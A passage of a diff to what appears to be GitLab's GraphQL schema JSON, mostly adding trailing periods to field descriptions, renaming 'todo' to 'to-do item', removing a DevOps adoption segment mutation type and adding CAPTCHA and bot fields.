"args": [ ], @@ -67430,7 +71135,7 @@ }, { "name": "rawUrl", - "description": "Raw URL of the snippet", + "description": "Raw URL of the snippet.", "args": [ ], @@ -67448,7 +71153,7 @@ }, { "name": "sshUrlToRepo", - "description": "SSH URL to the snippet repository", + "description": "SSH URL to the snippet repository.", "args": [ ], @@ -67462,7 +71167,7 @@ }, { "name": "title", - "description": "Title of the snippet", + "description": "Title of the snippet.", "args": [ ], @@ -67480,7 +71185,7 @@ }, { "name": "updatedAt", - "description": "Timestamp this snippet was updated", + "description": "Timestamp this snippet was updated.", "args": [ ], @@ -67516,7 +71221,7 @@ }, { "name": "visibilityLevel", - "description": "Visibility Level of the snippet", + "description": "Visibility Level of the snippet.", "args": [ ], @@ -67534,7 +71239,7 @@ }, { "name": "webUrl", - "description": "Web URL of the snippet", + "description": "Web URL of the snippet.", "args": [ ], @@ -67569,7 +71274,7 @@ "fields": [ { "name": "binary", - "description": "Shows whether the blob is binary", + "description": "Shows whether the blob is binary.", "args": [ ], @@ -67587,7 +71292,7 @@ }, { "name": "externalStorage", - "description": "Blob external storage", + "description": "Blob external storage.", "args": [ ], @@ -67601,7 +71306,7 @@ }, { "name": "mode", - "description": "Blob mode", + "description": "Blob mode.", "args": [ ], @@ -67615,7 +71320,7 @@ }, { "name": "name", - "description": "Blob name", + "description": "Blob name.", "args": [ ], @@ -67629,7 +71334,7 @@ }, { "name": "path", - "description": "Blob path", + "description": "Blob path.", "args": [ ], @@ -67643,7 +71348,7 @@ }, { "name": "plainData", - "description": "Blob plain highlighted data", + "description": "Blob plain highlighted data.", "args": [ ], @@ -67657,7 +71362,7 @@ }, { "name": "rawPath", - "description": "Blob raw content endpoint path", + "description": "Blob raw content endpoint path.", "args": [ ], @@ -67675,7 +71380,7 @@ }, { "name": "renderedAsText", - "description": "Shows whether the blob is rendered as text", + "description": "Shows whether the blob is rendered as text.", "args": [ ], @@ -67693,7 +71398,7 @@ }, { "name": "richData", - "description": "Blob highlighted data", + "description": "Blob highlighted data.", "args": [ ], @@ -67707,7 +71412,7 @@ }, { "name": "richViewer", - "description": "Blob content rich viewer", + "description": "Blob content rich viewer.", "args": [ ], @@ -67721,7 +71426,7 @@ }, { "name": "simpleViewer", - "description": "Blob content simple viewer", + "description": "Blob content simple viewer.", "args": [ ], @@ -67739,7 +71444,7 @@ }, { "name": "size", - "description": "Blob size", + "description": "Blob size.", "args": [ ], @@ -67806,7 +71511,7 @@ "inputFields": [ { "name": "action", - "description": "Type of input action", + "description": "Type of input action.", "type": { "kind": "NON_NULL", "name": null, @@ -67820,7 +71525,7 @@ }, { "name": "previousPath", - "description": "Previous path of the snippet file", + "description": "Previous path of the snippet file.", "type": { "kind": "SCALAR", "name": "String", @@ -67830,7 +71535,7 @@ }, { "name": "filePath", - "description": "Path of the snippet file", + "description": "Path of the snippet file.", "type": { "kind": "NON_NULL", "name": null, @@ -67844,7 +71549,7 @@ }, { "name": "content", - "description": "Snippet file content", + "description": "Snippet file content.", "type": { "kind": "SCALAR", "name": "String", @@ -67976,7 +71681,7 @@ "fields": [ { "name": "collapsed", - "description": "Shows whether the blob should be displayed collapsed", + "description": "Shows whether the blob should be displayed collapsed.", "args": [ ], @@ -67994,7 +71699,7 @@ }, { "name": "fileType", - "description": "Content file type", + "description": "Content file type.", "args": [ ], @@ -68012,7 +71717,7 @@ }, { "name": "loadAsync", - "description": "Shows whether the blob content is loaded async", + "description": "Shows whether the blob content is loaded asynchronously.", "args": [ ], @@ -68030,7 +71735,7 @@ }, { "name": "loadingPartialName", - "description": "Loading partial name", + "description": "Loading partial name.", "args": [ ], @@ -68048,7 +71753,7 @@ }, { "name": "renderError", - "description": "Error rendering the blob content", + "description": "Error rendering the blob content.", "args": [ ], @@ -68062,7 +71767,7 @@ }, { "name": "tooLarge", - "description": "Shows whether the blob too large to be displayed", + "description": "Shows whether the blob too large to be displayed.", "args": [ ], @@ -68080,7 +71785,7 @@ }, { "name": "type", - "description": "Type of blob viewer", + "description": "Type of blob viewer.", "args": [ ], @@ -68219,7 +71924,7 @@ { "kind": "SCALAR", "name": "SnippetID", - "description": "Identifier of Snippet", + "description": "Identifier of Snippet.", "fields": null, "inputFields": null, "interfaces": null, @@ -68442,7 +72147,7 @@ }, { "name": "snippetRepositoryId", - "description": "ID of the Snippet Repository", + "description": "ID of the Snippet Repository.", "args": [ ], @@ -68658,7 +72363,7 @@ "fields": [ { "name": "buttonTitle", - "description": "Title for the button, for example: Retry this job", + "description": "Title for the button, for example: Retry this job.", "args": [ ], @@ -68672,7 +72377,7 @@ }, { "name": "icon", - "description": "Icon used in the action button", + "description": "Icon used in the action button.", "args": [ ], @@ -68686,7 +72391,7 @@ }, { "name": "method", - "description": "Method for the action, for example: :post", + "description": "Method for the action, for example: :post.", "args": [ ], @@ -68700,7 +72405,7 @@ }, { "name": "path", - "description": "Path for the action", + "description": "Path for the action.", "args": [ ], @@ -68714,7 +72419,7 @@ }, { "name": "title", - "description": "Title for the action, for example: Retry", + "description": "Title for the action, for example: Retry.", "args": [ ], @@ -68751,7 +72456,7 @@ "fields": [ { "name": "flatPath", - "description": "Flat path of the entry", + "description": "Flat path of the entry.", "args": [ ], @@ -68769,7 +72474,7 @@ }, { "name": "id", - "description": "ID of the entry", + "description": "ID of the entry.", "args": [ ], @@ -68787,7 +72492,7 @@ }, { "name": "name", - "description": "Name of the entry", + "description": "Name of the entry.", "args": [ ], @@ -68805,7 +72510,7 @@ }, { "name": "path", - "description": "Path of the entry", + "description": "Path of the entry.", "args": [ ], @@ -68823,7 +72528,7 @@ }, { "name": "sha", - "description": "Last commit sha for the entry", + "description": "Last commit SHA for the entry.", "args": [ ], @@ -68841,7 +72546,7 @@ }, { "name": "treeUrl", - "description": "Tree URL for the sub-module", + "description": "Tree URL for the sub-module.", "args": [ ], @@ -68855,7 +72560,7 @@ }, { "name": "type", - "description": "Type of tree entry", + "description": "Type of tree entry.", "args": [ ], @@ -68873,7 +72578,7 @@ }, { "name": "webUrl", - "description": "Web URL for the sub-module", + "description": "Web URL for the sub-module.", "args": [ ], @@ -69016,7 +72721,7 @@ "fields": [ { "name": "completedCount", - "description": "Number of completed tasks", + "description": "Number of completed tasks.", "args": [ ], @@ -69034,7 +72739,7 @@ }, { "name": "count", - "description": "Number of total tasks", + "description": "Number of total tasks.", "args": [ ], @@ -69065,7 +72770,7 @@ "fields": [ { "name": "createdAt", - "description": "Timestamp the Terraform state was created", + "description": "Timestamp the Terraform state was created.", "args": [ ], @@ -69083,7 +72788,7 @@ }, { "name": "id", - "description": "ID of the Terraform state", + "description": "ID of the Terraform state.", "args": [ ], @@ -69101,7 +72806,7 @@ }, { "name": "latestVersion", - "description": "The latest version of the Terraform state", + "description": "The latest version of the Terraform state.", "args": [ ], @@ -69115,7 +72820,7 @@ }, { "name": "lockedAt", - "description": "Timestamp the Terraform state was locked", + "description": "Timestamp the Terraform state was locked.", "args": [ ], @@ -69129,7 +72834,7 @@ }, { "name": "lockedByUser", - "description": "The user currently holding a lock on the Terraform state", + "description": "The user currently holding a lock on the Terraform state.", "args": [ ], @@ -69143,7 +72848,7 @@ }, { "name": "name", - "description": "Name of the Terraform state", + "description": "Name of the Terraform state.", "args": [ ], @@ -69161,7 +72866,7 @@ }, { "name": "updatedAt", - "description": "Timestamp the Terraform state was updated", + "description": "Timestamp the Terraform state was updated.", "args": [ ], @@ -69192,7 +72897,7 @@ "fields": [ { "name": "count", - "description": "Total count of collection", + "description": "Total count of collection.", "args": [ ], @@ -69406,7 +73111,7 @@ { "kind": "SCALAR", "name": "TerraformStateID", - "description": "Identifier of Terraform::State", + "description": "Identifier of Terraform::State.", "fields": null, "inputFields": null, "interfaces": null, @@ -69596,7 +73301,7 @@ "fields": [ { "name": "createdAt", - "description": "Timestamp the version was created", + "description": "Timestamp the version was created.", "args": [ ], @@ -69614,7 +73319,7 @@ }, { "name": "createdByUser", - "description": "The user that created this version", + "description": "The user that created this version.", "args": [ ], @@ -69628,7 +73333,7 @@ }, { "name": "downloadPath", - "description": "URL for downloading the version's JSON file", + "description": "URL for downloading the version's JSON file.", "args": [ ], @@ -69642,7 +73347,7 @@ }, { "name": "id", - "description": "ID of the Terraform state version", + "description": "ID of the Terraform state version.", "args": [ ], @@ -69660,7 +73365,7 @@ }, { "name": "job", - "description": "The job that created this version", + "description": "The job that created this version.", "args": [ ], @@ -69674,7 +73379,7 @@ }, { "name": "serial", - "description": "Serial number of the version", + "description": "Serial number of the version.", "args": [ ], @@ -69688,7 +73393,7 @@ }, { "name": "updatedAt", - "description": "Timestamp the version was updated", + "description": "Timestamp the version was updated.", "args": [ ], @@ -69821,7 +73526,7 @@ }, { "name": "terraformStateVersionId", - "description": "ID of the terraform state version", + "description": "ID of the terraform state version.", "args": [ ], @@ -69964,7 +73669,7 @@ "fields": [ { "name": "author", - "description": "Author of the test report", + "description": "Author of the test report.", "args": [ ], @@ -69978,7 +73683,7 @@ }, { "name": "createdAt", - "description": "Timestamp of when the test report was created", + "description": "Timestamp of when the test report was created.", "args": [ ], @@ -69996,7 +73701,7 @@ }, { "name": "id", - "description": "ID of the test report", + "description": "ID of the test report.", "args": [ ], @@ -70014,7 +73719,7 @@ }, { "name": "state", - "description": "State of the test report", + "description": "State of the test report.", "args": [ ], @@ -70190,7 +73895,7 @@ "fields": [ { "name": "complete", - "description": "Completed issues metrics", + "description": "Completed issues metrics.", "args": [ ], @@ -70204,7 +73909,7 @@ }, { "name": "incomplete", - "description": "Incomplete issues metrics", + "description": "Incomplete issues metrics.", "args": [ ], @@ -70218,7 +73923,7 @@ }, { "name": "total", - "description": "Total issues metrics", + "description": "Total issues metrics.", "args": [ ], @@ -70245,7 +73950,7 @@ "fields": [ { "name": "count", - "description": "The count metric", + "description": "The count metric.", "args": [ ], @@ -70263,7 +73968,7 @@ }, { "name": "weight", - "description": "The weight metric", + "description": "The weight metric.", "args": [ ], @@ -70294,7 +73999,7 @@ "fields": [ { "name": "burnupTimeSeries", - "description": "Daily scope and completed totals for burnup charts", + "description": "Daily scope and completed totals for burnup charts.", "args": [ ], @@ -70316,7 +74021,7 @@ }, { "name": "stats", - "description": "Represents the time report stats for the timebox", + "description": "Represents the time report stats for the timebox.", "args": [ ], @@ -70343,7 +74048,7 @@ "fields": [ { "name": "report", - "description": "Historically accurate report about the timebox", + "description": "Historically accurate report about the timebox.", "args": [ ], @@ -70380,7 +74085,7 @@ "inputFields": [ { "name": "start", - "description": "The start of the range", + "description": "The start of the range.", "type": { "kind": "NON_NULL", "name": null, @@ -70394,7 +74099,7 @@ }, { "name": "end", - "description": "The end of the range", + "description": "The end of the range.", "type": { "kind": "NON_NULL", "name": null, @@ -70418,7 +74123,7 @@ "fields": [ { "name": "issue", - "description": "The issue that logged time was added to", + "description": "The issue that logged time was added to.", "args": [ ], @@ -70432,7 +74137,7 @@ }, { "name": "note", - "description": "The note where the quick action to add the logged time was executed", + "description": "The note where the quick action to add the logged time was executed.", "args": [ ], @@ -70446,7 +74151,7 @@ }, { "name": "spentAt", - "description": "Timestamp of when the time tracked was spent at", + "description": "Timestamp of when the time tracked was spent at.", "args": [ ], @@ -70460,7 +74165,7 @@ }, { "name": "timeSpent", - "description": "The time spent displayed in seconds", + "description": "The time spent displayed in seconds.", "args": [ ], @@ -70478,7 +74183,7 @@ }, { "name": "user", - "description": "The user that logged the time", + "description": "The user that logged the time.", "args": [ ], @@ -70617,11 +74322,11 @@ { "kind": "OBJECT", "name": "Todo", - "description": "Representing a todo entry", + "description": "Representing a to-do entry", "fields": [ { "name": "action", - "description": "Action of the todo", + "description": "Action of the to-do item.", "args": [ ], @@ -70639,7 +74344,7 @@ }, { "name": "author", - "description": "The author of this todo", + "description": "The author of this to-do item.", "args": [ ], @@ -70657,7 +74362,7 @@ }, { "name": "body", - "description": "Body of the todo", + "description": "Body of the to-do item.", "args": [ ], @@ -70675,7 +74380,7 @@ }, { "name": "createdAt", - "description": "Timestamp this todo was created", + "description": "Timestamp this to-do item was created.", "args": [ ], @@ -70693,7 +74398,7 @@ }, { "name": "group", - "description": "Group this todo is associated with", + "description": "Group this to-do item is associated with.", "args": [ ], @@ -70707,7 +74412,7 @@ }, { "name": "id", - "description": "ID of the todo", + "description": "ID of the to-do item.", "args": [ ], @@ -70725,7 +74430,7 @@ }, { "name": "project", - "description": "The project this todo is associated with", + "description": "The project this to-do item is associated with.", "args": [ ], @@ -70739,7 +74444,7 @@ }, { "name": "state", - "description": "State of the todo", + "description": "State of the to-do item.", "args": [ ], @@ -70757,7 +74462,7 @@ }, { "name": "targetType", - "description": "Target type of the todo", + "description": "Target type of the to-do item.", "args": [ ], @@ -70983,7 +74688,7 @@ }, { "name": "todo", - "description": "The to-do created.", + "description": "The to-do item created.", "args": [ ], @@ -71051,7 +74756,7 @@ { "kind": "SCALAR", "name": "TodoID", - "description": "Identifier of Todo", + "description": "Identifier of Todo.", "fields": null, "inputFields": null, "interfaces": null, @@ -71066,7 +74771,7 @@ "inputFields": [ { "name": "id", - "description": "The global ID of the todo to mark as done.", + "description": "The global ID of the to-do item to mark as done.", "type": { "kind": "NON_NULL", "name": null, @@ -71140,7 +74845,7 @@ }, { "name": "todo", - "description": "The requested todo.", + "description": "The requested to-do item.", "args": [ ], @@ -71172,7 +74877,7 @@ "inputFields": [ { "name": "id", - "description": "The global ID of the todo to restore.", + "description": "The global ID of the to-do item to restore.", "type": { "kind": "NON_NULL", "name": null, @@ -71207,7 +74912,7 @@ "inputFields": [ { "name": "ids", - "description": "The global IDs of the todos to restore (a maximum of 50 is supported at once).", + "description": "The global IDs of the to-do items to restore (a maximum of 50 is supported at once).", "type": { "kind": "NON_NULL", "name": null, @@ -71289,7 +74994,7 @@ }, { "name": "todos", - "description": "Updated todos.", + "description": "Updated to-do items.", "args": [ ], @@ -71315,7 +75020,7 @@ }, { "name": "updatedIds", - "description": "The IDs of the updated todo items. Deprecated in 13.2: Use todos.", + "description": "The IDs of the updated to-do items. Deprecated in 13.2: Use to-do items.", "args": [ ], @@ -71337,7 +75042,7 @@ } }, "isDeprecated": true, - "deprecationReason": "Use todos. Deprecated in 13.2." + "deprecationReason": "Use to-do items. Deprecated in 13.2." } ], "inputFields": null, @@ -71394,7 +75099,7 @@ }, { "name": "todo", - "description": "The requested todo.", + "description": "The requested to-do item.", "args": [ ], @@ -71491,7 +75196,7 @@ { "kind": "SCALAR", "name": "TodoableID", - "description": "Identifier of Todoable", + "description": "Identifier of Todoable.", "fields": null, "inputFields": null, "interfaces": null, @@ -71566,7 +75271,7 @@ }, { "name": "todos", - "description": "Updated todos.", + "description": "Updated to-do items.", "args": [ ], @@ -71592,7 +75297,7 @@ }, { "name": "updatedIds", - "description": "Ids of the updated todos. Deprecated in 13.2: Use todos.", + "description": "IDs of the updated to-do items. Deprecated in 13.2: Use to-do items.", "args": [ ], @@ -71614,7 +75319,7 @@ } }, "isDeprecated": true, - "deprecationReason": "Use todos. Deprecated in 13.2." + "deprecationReason": "Use to-do items. Deprecated in 13.2." } ], "inputFields": null, @@ -71646,7 +75351,7 @@ }, { "name": "name", - "description": "The emoji name", + "description": "The emoji name.", "type": { "kind": "NON_NULL", "name": null, @@ -71765,7 +75470,7 @@ "fields": [ { "name": "blobs", - "description": "Blobs of the tree", + "description": "Blobs of the tree.", "args": [ { "name": "after", @@ -71822,7 +75527,7 @@ }, { "name": "lastCommit", - "description": "Last commit for the tree", + "description": "Last commit for the tree.", "args": [ ], @@ -71836,7 +75541,7 @@ }, { "name": "submodules", - "description": "Sub-modules of the tree", + "description": "Sub-modules of the tree.", "args": [ { "name": "after", @@ -71893,7 +75598,7 @@ }, { "name": "trees", - "description": "Trees of the tree", + "description": "Trees of the tree.", "args": [ { "name": "after", @@ -71963,7 +75668,7 @@ "fields": [ { "name": "flatPath", - "description": "Flat path of the entry", + "description": "Flat path of the entry.", "args": [ ], @@ -71981,7 +75686,7 @@ }, { "name": "id", - "description": "ID of the entry", + "description": "ID of the entry.", "args": [ ], @@ -71999,7 +75704,7 @@ }, { "name": "name", - "description": "Name of the entry", + "description": "Name of the entry.", "args": [ ], @@ -72017,7 +75722,7 @@ }, { "name": "path", - "description": "Path of the entry", + "description": "Path of the entry.", "args": [ ], @@ -72035,7 +75740,7 @@ }, { "name": "sha", - "description": "Last commit sha for the entry", + "description": "Last commit SHA for the entry.", "args": [ ], @@ -72053,7 +75758,7 @@ }, { "name": "type", - "description": "Type of tree entry", + "description": "Type of tree entry.", "args": [ ], @@ -72071,7 +75776,7 @@ }, { "name": "webPath", - "description": "Web path for the tree entry (directory)", + "description": "Web path for the tree entry (directory).", "args": [ ], @@ -72085,7 +75790,7 @@ }, { "name": "webUrl", - "description": "Web URL for the tree entry (directory)", + "description": "Web URL for the tree entry (directory).", "args": [ ], @@ -72392,7 +76097,7 @@ }, { "name": "todo", - "description": "The todo after mutation.", + "description": "The to-do item after mutation.", "args": [ ], @@ -72560,7 +76265,7 @@ }, { "name": "hideBacklogList", - "description": "Whether or not backlog list is hidden", + "description": "Whether or not backlog list is hidden.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -72570,7 +76275,7 @@ }, { "name": "hideClosedList", - "description": "Whether or not closed list is hidden", + "description": "Whether or not closed list is hidden.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -72634,7 +76339,7 @@ }, { "name": "labels", - "description": "Labels of the issue", + "description": "Labels of the issue.", "type": { "kind": "LIST", "name": null, @@ -73010,7 +76715,7 @@ }, { "name": "enabled", - "description": "Indicates whether this container expiration policy is enabled", + "description": "Indicates whether this container expiration policy is enabled.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -73020,7 +76725,7 @@ }, { "name": "cadence", - "description": "This container expiration policy schedule", + "description": "This container expiration policy schedule.", "type": { "kind": "ENUM", "name": "ContainerExpirationPolicyCadenceEnum", @@ -73030,7 +76735,7 @@ }, { "name": "olderThan", - "description": "Tags older that this will expire", + "description": "Tags older that this will expire.", "type": { "kind": "ENUM", "name": "ContainerExpirationPolicyOlderThanEnum", @@ -73040,7 +76745,7 @@ }, { "name": "keepN", - "description": "Number of tags to retain", + "description": "Number of tags to retain.", "type": { "kind": "ENUM", "name": "ContainerExpirationPolicyKeepEnum", @@ -73050,7 +76755,7 @@ }, { "name": "nameRegex", - "description": "Tags with names matching this regex pattern will expire", + "description": "Tags with names matching this regex pattern will expire.", "type": { "kind": "SCALAR", "name": "UntrustedRegexp", @@ -73060,7 +76765,7 @@ }, { "name": "nameRegexKeep", - "description": "Tags with names matching this regex pattern will be preserved", + "description": "Tags with names matching this regex pattern will be preserved.", "type": { "kind": "SCALAR", "name": "UntrustedRegexp", @@ -73152,147 +76857,13 @@ }, { "kind": "INPUT_OBJECT", - "name": "UpdateDevopsAdoptionSegmentInput", - "description": "Autogenerated input type of UpdateDevopsAdoptionSegment", - "fields": null, - "inputFields": [ - { - "name": "name", - "description": "Name of the segment.", - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "String", - "ofType": null - } - }, - "defaultValue": null - }, - { - "name": "groupIds", - "description": "The array of group IDs to set for the segment.", - "type": { - "kind": "LIST", - "name": null, - "ofType": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "GroupID", - "ofType": null - } - } - }, - "defaultValue": null - }, - { - "name": "id", - "description": "ID of the segment.", - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "AnalyticsDevopsAdoptionSegmentID", - "ofType": null - } - }, - "defaultValue": null - }, - { - "name": "clientMutationId", - "description": "A unique identifier for the client performing the mutation.", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - } - ], - "interfaces": null, - "enumValues": null, - "possibleTypes": null - }, - { - "kind": "OBJECT", - "name": "UpdateDevopsAdoptionSegmentPayload", - "description": "Autogenerated return type of UpdateDevopsAdoptionSegment", - "fields": [ - { - "name": "clientMutationId", - "description": "A unique identifier for the client performing the mutation.", - "args": [ - - ], - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "errors", - "description": "Errors encountered during execution of the mutation.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "LIST", - "name": null, - "ofType": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "String", - "ofType": null - } - } - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "segment", - "description": "The segment after mutation.", - "args": [ - - ], - "type": { - "kind": "OBJECT", - "name": "DevopsAdoptionSegment", - "ofType": null - }, - "isDeprecated": false, - "deprecationReason": null - } - ], - "inputFields": null, - "interfaces": [ - - ], - "enumValues": null, - "possibleTypes": null - }, - { - "kind": "INPUT_OBJECT", "name": "UpdateDiffImagePositionInput", "description": null, "fields": null, "inputFields": [ { "name": "x", - "description": "X position of the note", + "description": "X position of the note.", "type": { "kind": "SCALAR", "name": "Int", @@ -73302,7 +76873,7 @@ }, { "name": "y", - "description": "Y position of the note", + "description": "Y position of the note.", "type": { "kind": "SCALAR", "name": "Int", @@ -73312,7 +76883,7 @@ }, { "name": "width", - "description": "Total width of the image", + "description": "Total width of the image.", "type": { "kind": "SCALAR", "name": "Int", @@ -73322,7 +76893,7 @@ }, { "name": "height", - "description": "Total height of the image", + "description": "Total height of the image.", "type": { "kind": "SCALAR", "name": "Int", @@ -73589,7 +77160,7 @@ }, { "name": "body", - "description": "Content of the note", + "description": "Content of the note.", "type": { "kind": "SCALAR", "name": "String", @@ -73599,7 +77170,7 @@ }, { "name": "position", - "description": "The position of this note on a diff", + "description": "The position of this note on a diff.", "type": { "kind": "INPUT_OBJECT", "name": "UpdateDiffImagePositionInput", @@ -73725,7 +77296,7 @@ }, { "name": "description", - "description": "Description of the issue", + "description": "Description of the issue.", "type": { "kind": "SCALAR", "name": "String", @@ -73735,7 +77306,7 @@ }, { "name": "dueDate", - "description": "Due date of the issue", + "description": "Due date of the issue.", "type": { "kind": "SCALAR", "name": "ISO8601Date", @@ -73745,7 +77316,7 @@ }, { "name": "confidential", - "description": "Indicates the issue is confidential", + "description": "Indicates the issue is confidential.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -73755,7 +77326,7 @@ }, { "name": "locked", - "description": "Indicates discussion is locked on the issue", + "description": "Indicates discussion is locked on the issue.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -73765,7 +77336,7 @@ }, { "name": "title", - "description": "Title of the issue", + "description": "Title of the issue.", "type": { "kind": "SCALAR", "name": "String", @@ -74241,7 +77812,7 @@ }, { "name": "body", - "description": "Content of the note", + "description": "Content of the note.", "type": { "kind": "SCALAR", "name": "String", @@ -74504,6 +78075,26 @@ "fields": null, "inputFields": [ { + "name": "captchaResponse", + "description": "A valid CAPTCHA response value obtained by using the provided captchaSiteKey with a CAPTCHA API to present a challenge to be solved on the client. Required to resubmit if the previous operation returned \"NeedsCaptchaResponse: true\".", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "spamLogId", + "description": "The spam log ID which must be passed along with a valid CAPTCHA response for the operation to be completed. Required to resubmit if the previous operation returned \"NeedsCaptchaResponse: true\".", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { "name": "id", "description": "The global ID of the snippet to update.", "type": { @@ -74586,6 +78177,20 @@ "description": "Autogenerated return type of UpdateSnippet", "fields": [ { + "name": "captchaSiteKey", + "description": "The CAPTCHA site key which must be used to render a challenge for the user to solve to obtain a valid captchaResponse value. Included only when an operation was not completed because \"NeedsCaptchaResponse\" is true.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "args": [ @@ -74626,6 +78231,20 @@ "deprecationReason": null }, { + "name": "needsCaptchaResponse", + "description": "Indicates whether the operation was detected as possible spam and not completed. If CAPTCHA is enabled, the request must be resubmitted with a valid CAPTCHA response and spam_log_id included for the operation to be completed. Included only when an operation was not completed because \"NeedsCaptchaResponse\" is true.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "snippet", "description": "The snippet after mutation.", "args": [ @@ -74641,7 +78260,7 @@ }, { "name": "spam", - "description": "Indicates whether the operation returns a record detected as spam.", + "description": "Indicates whether the operation was detected as definite spam. There is no option to resubmit the request with a CAPTCHA response.", "args": [ ], @@ -74652,6 +78271,20 @@ }, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "spamLogId", + "description": "The spam log ID which must be passed along with a valid CAPTCHA response for an operation to be completed. Included only when an operation was not completed because \"NeedsCaptchaResponse\" is true.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null } ], "inputFields": null, @@ -74678,7 +78311,7 @@ "fields": [ { "name": "assignedMergeRequests", - "description": "Merge Requests assigned to the user", + "description": "Merge Requests assigned to the user.", "args": [ { "name": "iids", @@ -74893,7 +78526,7 @@ }, { "name": "authoredMergeRequests", - "description": "Merge Requests authored by the user", + "description": "Merge Requests authored by the user.", "args": [ { "name": "iids", @@ -75108,7 +78741,7 @@ }, { "name": "avatarUrl", - "description": "URL of the user's avatar", + "description": "URL of the user's avatar.", "args": [ ], @@ -75121,8 +78754,26 @@ "deprecationReason": null }, { + "name": "bot", + "description": "Indicates if the user is a bot.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "email", - "description": "User email Deprecated in 13.7: Use public_email.", + "description": "User email. Deprecated in 13.7: Use public_email.", "args": [ ], @@ -75136,7 +78787,7 @@ }, { "name": "groupCount", - "description": "Group count for the user Available only when feature flag `user_group_counts` is enabled.", + "description": "Group count for the user. Available only when feature flag `user_group_counts` is enabled.", "args": [ ], @@ -75150,7 +78801,7 @@ }, { "name": "groupMemberships", - "description": "Group memberships of the user", + "description": "Group memberships of the user.", "args": [ { "name": "after", @@ -75203,7 +78854,7 @@ }, { "name": "id", - "description": "ID of the user", + "description": "ID of the user.", "args": [ ], @@ -75235,7 +78886,7 @@ }, { "name": "name", - "description": "Human-readable name of the user", + "description": "Human-readable name of the user.", "args": [ ], @@ -75253,7 +78904,7 @@ }, { "name": "projectMemberships", - "description": "Project memberships of the user", + "description": "Project memberships of the user.", "args": [ { "name": "after", @@ -75306,7 +78957,7 @@ }, { "name": "publicEmail", - "description": "User's public email", + "description": "User's public email.", "args": [ ], @@ -75320,7 +78971,7 @@ }, { "name": "reviewRequestedMergeRequests", - "description": "Merge Requests assigned to the user for review", + "description": "Merge Requests assigned to the user for review.", "args": [ { "name": "iids", @@ -75535,7 +79186,7 @@ }, { "name": "snippets", - "description": "Snippets authored by the user", + "description": "Snippets authored by the user.", "args": [ { "name": "ids", @@ -75626,7 +79277,7 @@ }, { "name": "starredProjects", - "description": "Projects starred by the user", + "description": "Projects starred by the user.", "args": [ { "name": "search", @@ -75689,7 +79340,7 @@ }, { "name": "state", - "description": "State of the user", + "description": "State of the user.", "args": [ ], @@ -75707,7 +79358,7 @@ }, { "name": "status", - "description": "User status", + "description": "User status.", "args": [ ], @@ -75721,7 +79372,7 @@ }, { "name": "todos", - "description": "Todos of the user", + "description": "To-do items of the user.", "args": [ { "name": "action", @@ -75904,7 +79555,7 @@ }, { "name": "username", - "description": "Username of the user. Unique within this instance of GitLab", + "description": "Username of the user. Unique within this instance of GitLab.", "args": [ ], @@ -75922,7 +79573,7 @@ }, { "name": "webPath", - "description": "Web path of the user", + "description": "Web path of the user.", "args": [ ], @@ -75940,7 +79591,7 @@ }, { "name": "webUrl", - "description": "Web URL of the user", + "description": "Web URL of the user.", "args": [ ], @@ -76079,7 +79730,7 @@ { "kind": "SCALAR", "name": "UserID", - "description": "Identifier of User", + "description": "Identifier of User.", "fields": null, "inputFields": null, "interfaces": null, @@ -76153,7 +79804,7 @@ "fields": [ { "name": "availability", - "description": "User availability status", + "description": "User availability status.", "args": [ ], @@ -76171,7 +79822,7 @@ }, { "name": "emoji", - "description": "String representation of emoji", + "description": "String representation of emoji.", "args": [ ], @@ -76185,7 +79836,7 @@ }, { "name": "message", - "description": "User status message", + "description": "User status message.", "args": [ ], @@ -76302,7 +79953,7 @@ }, { "name": "date", - "description": "Date for the count", + "description": "Date for the count.", "args": [ ], @@ -76392,7 +80043,7 @@ }, { "name": "total", - "description": "Total number of vulnerabilities on a particular day", + "description": "Total number of vulnerabilities on a particular day.", "args": [ ], @@ -76441,7 +80092,7 @@ "fields": [ { "name": "count", - "description": "Number of vulnerabilities", + "description": "Number of vulnerabilities.", "args": [ ], @@ -76455,7 +80106,7 @@ }, { "name": "day", - "description": "Date for the count", + "description": "Date for the count.", "args": [ ], @@ -76469,7 +80120,7 @@ }, { "name": "severity", - "description": "Severity of the counted vulnerabilities", + "description": "Severity of the counted vulnerabilities.", "args": [ ], @@ -76716,7 +80367,7 @@ { "kind": "SCALAR", "name": "VulnerabilitiesExternalIssueLinkID", - "description": "Identifier of Vulnerabilities::ExternalIssueLink", + "description": "Identifier of Vulnerabilities::ExternalIssueLink.", "fields": null, "inputFields": null, "interfaces": null, @@ -76730,7 +80381,7 @@ "fields": [ { "name": "confirmedAt", - "description": "Timestamp of when the vulnerability state was changed to confirmed", + "description": "Timestamp of when the vulnerability state was changed to confirmed.", "args": [ ], @@ -76758,7 +80409,7 @@ }, { "name": "description", - 